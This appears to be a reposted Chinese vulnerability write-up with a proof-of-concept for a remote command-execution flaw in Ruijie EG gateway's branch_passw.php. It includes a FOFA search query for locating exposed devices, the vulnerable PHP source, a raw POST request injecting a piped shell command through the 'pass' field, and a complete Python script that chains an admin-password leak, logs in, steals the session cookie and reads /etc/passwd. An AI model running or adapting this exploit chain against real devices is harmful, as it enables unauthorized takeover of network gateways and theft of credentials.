锐捷-EG易网关-branch_passw.php-远程命令执行 POC

漏洞描述

锐捷EG易网关 branch_passw.php存在命令执行漏洞，配合 锐捷EG易网关 管理员账号密码泄露漏洞 达到RCE控制服务器

漏洞影响

锐捷EG易网关

FOFA

app="Ruijie-EG易网关"

漏洞复现

首先登录到后台中(可以组合 锐捷EG易网关 管理员账号密码泄露漏洞)

漏洞文件 branch_passw.php

<?php

/**
* 分支密码的统一管理
*/
define('IN', true);     //定位该文件是入口文件
define('DS', DIRECTORY_SEPARATOR);  //定义系统目录分隔符
define('AROOT', dirname(__FILE__) . DS);    //定义入口所在的目录
include_once(dirname(dirname(__FILE__)) . DS . 'mvc' . DS . 'controller' . DS . 'core.controller.php');

class defaultController extends coreController {

private $filename;
private $cli = "evpn-server config all-clients file "/data/evpn/cfg_pwd.text"";

function __construct() {
parent::__construct();
$this->filename = DS . "data" . DS . "evpn" . DS . "cfg_pwd.text";
}

/**
* 设置分支设备的密码
* @param string post(pass) 分支密码
*/
public function setAction() {
$pass = p("pass");
if ($pass == FALSE) {
json_echo(false);
return;
}
$command = "/usr/local/evpn/server/cfg_pass.sh config " . $pass;
evpnShell($command);
}

/**
* 关闭集中控制功能
*/
function closeAction(){
evpnShell("/usr/local/evpn/server/cfg_pass.sh disable");
}

/**
* 获取分支密码
*/
function getAction() {
$command = "/usr/local/evpn/server/echo_pass.sh";
$content = [];
exec(EscapeShellCmd($command), $content);
$data = array("status" => true,
"data" => isset($content[0]) && $content[0] === "" ? "" : $content);
json_echo($data);
}

/**
* 获取分支密码设置列表
*/
function listAction(){
$province = p("province");
$city = p("city");
$district = p("district");
$shell = "/usr/local/evpn/server/sh_clients_pass.sh";
if($province !== FALSE && $province != ""){
$shell .= " province ".iconv("UTF-8", "GB2312//IGNORE", $province);
}
if($city !== FALSE && $city != ""){
$shell .= " city ".iconv("UTF-8", "GB2312//IGNORE", $city);
}
if($district !== FALSE && $district != ""){
$shell .= " district ".iconv("UTF-8", "GB2312//IGNORE", $district);
}
header("Content-type: text/html;charset=gbk");
header("Cache-Control: no-cache, must-revalidate");
header("Pragma: no-cache");
echo `$shell`;
}

}

include_once dirname(dirname(__FILE__)) . '/init.php';     //mvc架构初始化

其中漏洞部分

/**
     * 设置分支设备的密码
     * @param string post(pass) 分支密码
     */
    public function setAction() {
        $pass = p("pass");
        if ($pass == FALSE) {
            json_echo(false);
            return;
        }
        $command = "/usr/local/evpn/server/cfg_pass.sh config " . $pass;
        evpnShell($command);
    }

&pass**变量可控并且无过滤执行命令使用 | 即可绕过

发送请求包

POST /itbox_pi/branch_passw.php?a=set HTTP/1.1
Host: 
User-Agent: Go-http-client/1.1
Content-Length: 41
Content-Type: application/x-www-form-urlencoded
Cookie: RUIJIEID=52222egp72ilkpf2de7qbrigk3;user=admin;
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

pass=|cat /etc/psswd>../test_test.txt

再访问

http://xxx.xxx.xxx.xxx/test_test.txt

漏洞POC

#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author : PeiQi
# from   : http://wiki.peiqi.tech

import base64
import requests
import random
import re
import json
import sys

def title():
print('+------------------------------------------')
print('+  �33[34mPOC_Des: http://wiki.peiqi.tech                                   �33[0m')
print('+  �33[34mGithub : https://github.com/PeiQi0                                 �33[0m')
print('+  �33[34m公众号  : PeiQi文库                                                   �33[0m')
print('+  �33[34mVersion: 锐捷EG网关 branch_passw.php 远程命令执行漏洞                 �33[0m')
print('+  �33[36m使用格式:  python3 poc.py                                            �33[0m')
print('+  �33[36mUrl         >>> http://xxx.xxx.xxx.xxx                             �33[0m')
print('+------------------------------------------')

def POC_1(target_url):
vuln_url = target_url + "/login.php"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded"
}
data = 'username=admin&password=admin?show+webmaster+user'
try:
response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=10)
print("�33[36m[o] 正在执行 show webmaster user �33[0m".format(target_url))
if "data" in response.text and response.status_code == 200:
password = re.findall(r'admin (.*?)"', response.text)[0]
print("�33[36m[o] 成功获取, 账号密码为:  admin   {} �33[0m".format(password))
POC_2(target_url, password)
except Exception as e:
print("�33[31m[x] 请求失败:{} �33[0m".format(e))
sys.exit(0)

def POC_2(target_url, password):
vuln_url = target_url + "/login.php"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded"
}
data = 'username=admin&password={}'.format(password)
try:
response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=10)
print("�33[36m[o] 正在登录..... �33[0m".format(target_url))
if "status" in response.text and "1" in response.text and response.status_code == 200:
ruijie_cookie = "RUIJIEID=" + re.findall(r"'Set-Cookie': 'RUIJIEID=(.*?);", str(response.headers))[0] + ";user=admin;"
print("�33[36m[o] 成功获取管理员Cookie: {} �33[0m".format(ruijie_cookie))
POC_3(target_url, ruijie_cookie)

except Exception as e:
print("�33[31m[x] 请求失败:{} �33[0m".format(e))
sys.exit(0)

def POC_3(target_url, ruijie_cookie):
vuln_url = target_url + "/itbox_pi/branch_passw.php?a=set"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"Cookie": "{}".format(ruijie_cookie)
}
data = 'pass=|cat /etc/passwd>../test_test.txt'
try:
response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=10)
print("�33[36m[o] 正在执行 cat /etc/passwd..... �33[0m".format(target_url))
if response.status_code == 200:
POC_4(target_url, ruijie_cookie)
except Exception as e:
print("�33[31m[x] 请求失败:{} �33[0m".format(e))
sys.exit(0)

def POC_4(target_url, ruijie_cookie):
vuln_url = target_url + "/test_test.txt"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"Cookie": "{}".format(ruijie_cookie)
}
try:
response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=10)
print("�33[36m[o] 正在执行 cat /etc/passwd..... �33[0m".format(target_url))
if "root:" in response.text and response.status_code == 200:
print("�33[36m[o] 成功读取 /etc/passwd n[o] 响应为:{} �33[0m".format(response.text))

except Exception as e:
print("�33[31m[x] 请求失败:{} �33[0m".format(e))
sys.exit(0)

if __name__ == '__main__':
title()
target_url = str(input("�33[35mPlease input Attack UrlnUrl   >>> �33[0m"))
POC_1(target_url)

原文始发于微信公众号（骇客安全）：锐捷-EG易网关-branch_passw.php-远程命令执行